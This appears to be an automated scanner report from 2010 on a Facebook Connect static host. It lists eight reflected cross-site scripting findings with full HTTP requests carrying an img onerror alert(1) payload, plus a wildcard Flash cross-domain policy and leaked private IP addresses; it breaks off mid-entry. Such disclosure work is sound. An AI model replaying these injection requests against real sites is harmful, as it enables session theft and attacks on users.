Report generated by David Hoyt at Sun Nov 07 18:10:21 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

Loading

1. Cross-site scripting (reflected)

1.1. http://static.ak.connect.facebook.com/connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css [REST URL parameter 3]

1.2. http://static.ak.connect.facebook.com/connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css [REST URL parameter 4]

1.3. http://static.ak.connect.facebook.com/connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css [REST URL parameter 5]

1.4. http://static.ak.connect.facebook.com/connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css [REST URL parameter 6]

1.5. http://static.ak.connect.facebook.com/connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css [REST URL parameter 7]

1.6. http://static.ak.connect.facebook.com/connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css [REST URL parameter 8]

1.7. http://static.ak.connect.facebook.com/connect.php/en_US/js/XdComm [REST URL parameter 3]

1.8. http://static.ak.connect.facebook.com/connect.php/en_US/js/XdComm [REST URL parameter 4]

2. Flash cross-domain policy

3. Private IP addresses disclosed

3.1. http://static.ak.connect.facebook.com/connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css

3.2. http://static.ak.connect.facebook.com/connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css

3.3. http://static.ak.connect.facebook.com/connect.php/en_US/js/XdComm

3.4. http://static.ak.connect.facebook.com/connect.php/en_US/js/XdComm

3.5. http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php

3.6. http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php

4. Robots.txt file



1. Cross-site scripting (reflected)  next
There are 8 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://static.ak.connect.facebook.com/connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css [REST URL parameter 3]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.ak.connect.facebook.com
Path:   /connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 50d26<img%20src%3da%20onerror%3dalert(1)>7cb51b8bf53 was submitted in the REST URL parameter 3. This input was echoed as 50d26<img src=a onerror=alert(1)>7cb51b8bf53 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /connect.php/en_US/css50d26<img%20src%3da%20onerror%3dalert(1)>7cb51b8bf53/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css HTTP/1.1
Accept: */*
Referer: http://engadget2.disqus.com/thread/dnp_kinect_review_dnp/reply.html?f=engadget2&t=dnp_kinect_review_dnp&ff=Times%20New%20Roman&default_text=Type%20your%20comment%20here.&ifrs=&1289161547099
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: static.ak.connect.facebook.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Content-Length: 88
Content-Type: application/x-javascript; charset=utf-8
Pragma: no-cache
X-Cnection: close
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sun, 07 Nov 2010 22:06:25 GMT
Date: Sun, 07 Nov 2010 22:06:25 GMT
Connection: close

/* "css50d26<img src=a onerror=alert(1)>7cb51b8bf53" is not a valid component type. */

1.2. http://static.ak.connect.facebook.com/connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.ak.connect.facebook.com
Path:   /connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload d0552<img%20src%3da%20onerror%3dalert(1)>dc0494db113 was submitted in the REST URL parameter 4. This input was echoed as d0552<img src=a onerror=alert(1)>dc0494db113 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /connect.php/en_US/css/bookmark-button-cssd0552<img%20src%3da%20onerror%3dalert(1)>dc0494db113/connect-button-css/share-button-css/FB.Connect-css/connect-css HTTP/1.1
Accept: */*
Referer: http://engadget2.disqus.com/thread/dnp_kinect_review_dnp/reply.html?f=engadget2&t=dnp_kinect_review_dnp&ff=Times%20New%20Roman&default_text=Type%20your%20comment%20here.&ifrs=&1289161547099
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: static.ak.connect.facebook.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Content-Length: 99
Content-Type: text/css; charset=utf-8
Pragma: no-cache
X-Cnection: close
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sun, 07 Nov 2010 22:06:28 GMT
Date: Sun, 07 Nov 2010 22:06:28 GMT
Connection: close

/* "bookmark-button-cssd0552<img src=a onerror=alert(1)>dc0494db113" is not a valid component. */

1.3. http://static.ak.connect.facebook.com/connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.ak.connect.facebook.com
Path:   /connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css

Issue detail

The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload 486fc<img%20src%3da%20onerror%3dalert(1)>2213e92503e was submitted in the REST URL parameter 5. This input was echoed as 486fc<img src=a onerror=alert(1)>2213e92503e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /connect.php/en_US/css/bookmark-button-css/connect-button-css486fc<img%20src%3da%20onerror%3dalert(1)>2213e92503e/share-button-css/FB.Connect-css/connect-css HTTP/1.1
Accept: */*
Referer: http://engadget2.disqus.com/thread/dnp_kinect_review_dnp/reply.html?f=engadget2&t=dnp_kinect_review_dnp&ff=Times%20New%20Roman&default_text=Type%20your%20comment%20here.&ifrs=&1289161547099
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: static.ak.connect.facebook.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Content-Length: 98
Content-Type: text/css; charset=utf-8
Pragma: no-cache
X-Cnection: close
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sun, 07 Nov 2010 22:06:32 GMT
Date: Sun, 07 Nov 2010 22:06:32 GMT
Connection: close

/* "connect-button-css486fc<img src=a onerror=alert(1)>2213e92503e" is not a valid component. */

1.4. http://static.ak.connect.facebook.com/connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.ak.connect.facebook.com
Path:   /connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css

Issue detail

The value of REST URL parameter 6 is copied into the HTML document as plain text between tags. The payload 8ba07<img%20src%3da%20onerror%3dalert(1)>3aaf72818a9 was submitted in the REST URL parameter 6. This input was echoed as 8ba07<img src=a onerror=alert(1)>3aaf72818a9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css8ba07<img%20src%3da%20onerror%3dalert(1)>3aaf72818a9/FB.Connect-css/connect-css HTTP/1.1
Accept: */*
Referer: http://engadget2.disqus.com/thread/dnp_kinect_review_dnp/reply.html?f=engadget2&t=dnp_kinect_review_dnp&ff=Times%20New%20Roman&default_text=Type%20your%20comment%20here.&ifrs=&1289161547099
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: static.ak.connect.facebook.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Content-Length: 96
Content-Type: text/css; charset=utf-8
Pragma: no-cache
X-Cnection: close
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sun, 07 Nov 2010 22:06:36 GMT
Date: Sun, 07 Nov 2010 22:06:36 GMT
Connection: close

/* "share-button-css8ba07<img src=a onerror=alert(1)>3aaf72818a9" is not a valid component. */

1.5. http://static.ak.connect.facebook.com/connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css [REST URL parameter 7]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.ak.connect.facebook.com
Path:   /connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css

Issue detail

The value of REST URL parameter 7 is copied into the HTML document as plain text between tags. The payload 2256d<img%20src%3da%20onerror%3dalert(1)>0f24ac91f4c was submitted in the REST URL parameter 7. This input was echoed as 2256d<img src=a onerror=alert(1)>0f24ac91f4c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css2256d<img%20src%3da%20onerror%3dalert(1)>0f24ac91f4c/connect-css HTTP/1.1
Accept: */*
Referer: http://engadget2.disqus.com/thread/dnp_kinect_review_dnp/reply.html?f=engadget2&t=dnp_kinect_review_dnp&ff=Times%20New%20Roman&default_text=Type%20your%20comment%20here.&ifrs=&1289161547099
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: static.ak.connect.facebook.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Content-Length: 94
Content-Type: text/css; charset=utf-8
Pragma: no-cache
X-Cnection: close
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sun, 07 Nov 2010 22:06:40 GMT
Date: Sun, 07 Nov 2010 22:06:40 GMT
Connection: close

/* "FB.Connect-css2256d<img src=a onerror=alert(1)>0f24ac91f4c" is not a valid component. */

1.6. http://static.ak.connect.facebook.com/connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css [REST URL parameter 8]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.ak.connect.facebook.com
Path:   /connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css

Issue detail

The value of REST URL parameter 8 is copied into the HTML document as plain text between tags. The payload d1530<img%20src%3da%20onerror%3dalert(1)>05ba4967940 was submitted in the REST URL parameter 8. This input was echoed as d1530<img src=a onerror=alert(1)>05ba4967940 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-cssd1530<img%20src%3da%20onerror%3dalert(1)>05ba4967940 HTTP/1.1
Accept: */*
Referer: http://engadget2.disqus.com/thread/dnp_kinect_review_dnp/reply.html?f=engadget2&t=dnp_kinect_review_dnp&ff=Times%20New%20Roman&default_text=Type%20your%20comment%20here.&ifrs=&1289161547099
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: static.ak.connect.facebook.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Content-Length: 91
Content-Type: text/css; charset=utf-8
Pragma: no-cache
X-Cnection: close
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sun, 07 Nov 2010 22:06:44 GMT
Date: Sun, 07 Nov 2010 22:06:44 GMT
Connection: close

/* "connect-cssd1530<img src=a onerror=alert(1)>05ba4967940" is not a valid component. */

1.7. http://static.ak.connect.facebook.com/connect.php/en_US/js/XdComm [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.ak.connect.facebook.com
Path:   /connect.php/en_US/js/XdComm

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload fb0de<img%20src%3da%20onerror%3dalert(1)>bc0516715aa was submitted in the REST URL parameter 3. This input was echoed as fb0de<img src=a onerror=alert(1)>bc0516715aa in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /connect.php/en_US/jsfb0de<img%20src%3da%20onerror%3dalert(1)>bc0516715aa/XdComm HTTP/1.1
Accept: */*
Referer: http://engadget2.disqus.com/thread/dnp_kinect_review_dnp/reply.html?f=engadget2&t=dnp_kinect_review_dnp&ff=Times%20New%20Roman&default_text=Type%20your%20comment%20here.&ifrs=&1289161547099
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: static.ak.connect.facebook.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Content-Length: 87
Content-Type: application/x-javascript; charset=utf-8
Pragma: no-cache
X-Cnection: close
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sun, 07 Nov 2010 22:06:33 GMT
Date: Sun, 07 Nov 2010 22:06:33 GMT
Connection: close

/* "jsfb0de<img src=a onerror=alert(1)>bc0516715aa" is not a valid component type. */

1.8. http://static.ak.connect.facebook.com/connect.php/en_US/js/XdComm [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.ak.connect.facebook.com
Path:   /connect.php/en_US/js/XdComm

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 7454d<img%20src%3da%20onerror%3dalert(1)>369bdd93985 was submitted in the REST URL parameter 4. This input was echoed as 7454d<img src=a onerror=alert(1)>369bdd93985 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /connect.php/en_US/js/XdComm7454d<img%20src%3da%20onerror%3dalert(1)>369bdd93985 HTTP/1.1
Accept: */*
Referer: http://engadget2.disqus.com/thread/dnp_kinect_review_dnp/reply.html?f=engadget2&t=dnp_kinect_review_dnp&ff=Times%20New%20Roman&default_text=Type%20your%20comment%20here.&ifrs=&1289161547099
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: static.ak.connect.facebook.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Content-Length: 86
Content-Type: application/x-javascript; charset=utf-8
Pragma: no-cache
X-Cnection: close
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sun, 07 Nov 2010 22:06:37 GMT
Date: Sun, 07 Nov 2010 22:06:37 GMT
Connection: close

/* "XdComm7454d<img src=a onerror=alert(1)>369bdd93985" is not a valid component. */

2. Flash cross-domain policy  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://static.ak.connect.facebook.com
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, allows access from specific other domains, and allows access from specific subdomains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: static.ak.connect.facebook.com

Response

HTTP/1.0 200 OK
Content-Type: text/x-cross-domain-policy;charset=utf-8
X-Cnection: close
Date: Sun, 07 Nov 2010 22:06:12 GMT
Content-Length: 1581
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <site-control permitted-cross-domain-policies="master-only" /
...[SNIP]...
<allow-access-from domain="s-static.facebook.com" />
   <allow-access-from domain="static.facebook.com" />
   <allow-access-from domain="static.api.ak.facebook.com" />
   <allow-access-from domain="*.static.ak.facebook.com" />
   <allow-access-from domain="s-static.thefacebook.com" />
   <allow-access-from domain="static.thefacebook.com" />
   <allow-access-from domain="static.api.ak.thefacebook.com" />
   <allow-access-from domain="*.static.ak.thefacebook.com" />
   <allow-access-from domain="*.static.ak.fbcdn.com" />
   <allow-access-from domain="external.ak.fbcdn.com" />
   <allow-access-from domain="*.static.ak.fbcdn.net" />
   <allow-access-from domain="external.ak.fbcdn.net" />
   <allow-access-from domain="www.facebook.com" />
   <allow-access-from domain="www.new.facebook.com" />
   <allow-access-from domain="register.facebook.com" />
   <allow-access-from domain="login.facebook.com" />
   <allow-access-from domain="ssl.facebook.com" />
   <allow-access-from domain="secure.facebook.com" />
   <allow-access-from domain="ssl.new.facebook.com" />
   <allow-access-from domain="static.ak.fbcdn.net" />
   <allow-access-from domain="fvr.facebook.com" />
   <allow-access-from domain="s-static.ak.facebook.com" />
   <allow-access-from domain="www.latest.facebook.com" />
   <allow-access-from domain="www.inyour.facebook.com" />
   <allow-access-from domain="s-static.ak.fbcdn.net" />
...[SNIP]...

3. Private IP addresses disclosed  previous  next
There are 6 instances of this issue:

Issue background

RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.

Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.

Issue remediation

There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.


3.1. http://static.ak.connect.facebook.com/connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://static.ak.connect.facebook.com
Path:   /connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css

Issue detail

The following RFC 1918 IP address was disclosed in the response:

Request

GET /connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css HTTP/1.1
Accept: */*
Referer: http://engadget2.disqus.com/thread/dnp_kinect_review_dnp/reply.html?f=engadget2&t=dnp_kinect_review_dnp&ff=Times%20New%20Roman&default_text=Type%20your%20comment%20here.&ifrs=&1289161547099
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: static.ak.connect.facebook.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Content-Type: text/css; charset=utf-8
ETag: "c2962681ad278794705a345eaed70776"
Pragma:
X-Cnection: close
Cache-Control: public, max-age=131
Expires: Sun, 07 Nov 2010 20:28:01 GMT
Date: Sun, 07 Nov 2010 20:25:50 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 14499

/*
HTTP Host: static.ak.connect.facebook.com
Generated: November 7th 2010 10:20:00 AM PDT
Machine: 10.27.79.124
Location: JIT Construction: v311255
Locale: en_US
*/

.FB_UIButton{background-image:url(/images/ui/UIActionButton_ltr.png);border-style:solid;border-width:1px;display:-moz-inline-box;display:inline-bl
...[SNIP]...

3.2. http://static.ak.connect.facebook.com/connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://static.ak.connect.facebook.com
Path:   /connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css

Issue detail

The following RFC 1918 IP address was disclosed in the response:

Request

GET /connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css HTTP/1.1
Accept: */*
Referer: http://engadget2.disqus.com/thread/dnp_kinect_review_dnp/reply.html?f=engadget2&t=dnp_kinect_review_dnp&ff=Times%20New%20Roman&default_text=Type%20your%20comment%20here.&ifrs=&1289161547099
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: static.ak.connect.facebook.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Content-Type: text/css; charset=utf-8
ETag: "c2962681ad278794705a345eaed70776"
Pragma:
X-Cnection: close
Cache-Control: public, max-age=560
Expires: Sun, 07 Nov 2010 22:15:35 GMT
Date: Sun, 07 Nov 2010 22:06:15 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 14500

/*
HTTP Host: static.ak.connect.facebook.com
Generated: November 7th 2010 10:19:26 AM PDT
Machine: 10.27.216.101
Location: JIT Construction: v311255
Locale: en_US
*/

.FB_UIButton{background-image:url(/images/ui/UIActionButton_ltr.png);border-style:solid;border-width:1px;display:-moz-inline-box;display:inline-bl
...[SNIP]...

3.3. http://static.ak.connect.facebook.com/connect.php/en_US/js/XdComm  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://static.ak.connect.facebook.com
Path:   /connect.php/en_US/js/XdComm

Issue detail

The following RFC 1918 IP address was disclosed in the response:

Request

GET /connect.php/en_US/js/XdComm HTTP/1.1
Accept: */*
Referer: http://engadget2.disqus.com/thread/dnp_kinect_review_dnp/reply.html?f=engadget2&t=dnp_kinect_review_dnp&ff=Times%20New%20Roman&default_text=Type%20your%20comment%20here.&ifrs=&1289161547099
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: static.ak.connect.facebook.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
ETag: "ebabb42498897af8f63b115d852eaa7e"
Pragma:
X-Cnection: close
Cache-Control: public, max-age=355
Expires: Sun, 07 Nov 2010 20:31:45 GMT
Date: Sun, 07 Nov 2010 20:25:50 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 220866

/*
HTTP Host: static.ak.connect.facebook.com
Generated: November 2nd 2010 4:08:54 PM PDT
Machine: 10.27.207.104
Location: JIT Construction: v309286
Locale: en_US
*/

if (!window.FB) {FB = {};} if(!FB.dynData) { FB.dynData = {"site_vars":{"canvas_client_compute_content_size_method":1,"use_postMessage":0,"use_xdP
...[SNIP]...

3.4. http://static.ak.connect.facebook.com/connect.php/en_US/js/XdComm  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://static.ak.connect.facebook.com
Path:   /connect.php/en_US/js/XdComm

Issue detail

The following RFC 1918 IP address was disclosed in the response:

Request

GET /connect.php/en_US/js/XdComm HTTP/1.1
Accept: */*
Referer: http://engadget2.disqus.com/thread/dnp_kinect_review_dnp/reply.html?f=engadget2&t=dnp_kinect_review_dnp&ff=Times%20New%20Roman&default_text=Type%20your%20comment%20here.&ifrs=&1289161547099
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: static.ak.connect.facebook.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
ETag: "ebabb42498897af8f63b115d852eaa7e"
Pragma:
X-Cnection: close
Cache-Control: public, max-age=1159
Expires: Sun, 07 Nov 2010 22:25:33 GMT
Date: Sun, 07 Nov 2010 22:06:14 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 220866

/*
HTTP Host: static.ak.connect.facebook.com
Generated: November 2nd 2010 5:22:12 PM PDT
Machine: 10.27.207.130
Location: JIT Construction: v309286
Locale: en_US
*/

if (!window.FB) {FB = {};} if(!FB.dynData) { FB.dynData = {"site_vars":{"canvas_client_compute_content_size_method":1,"use_postMessage":0,"use_xdP
...[SNIP]...

3.5. http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://static.ak.connect.facebook.com
Path:   /js/api_lib/v0.4/FeatureLoader.js.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

Request

GET /js/api_lib/v0.4/FeatureLoader.js.php HTTP/1.1
Accept: */*
Referer: http://engadget2.disqus.com/thread/dnp_kinect_review_dnp/reply.html?f=engadget2&t=dnp_kinect_review_dnp&ff=Times%20New%20Roman&default_text=Type%20your%20comment%20here.&ifrs=&1289161547099
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: static.ak.connect.facebook.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
ETag: "8132aa3fc5c0251091c14400b90ebd7d"
Pragma:
X-Cnection: close
Cache-Control: public, max-age=1016
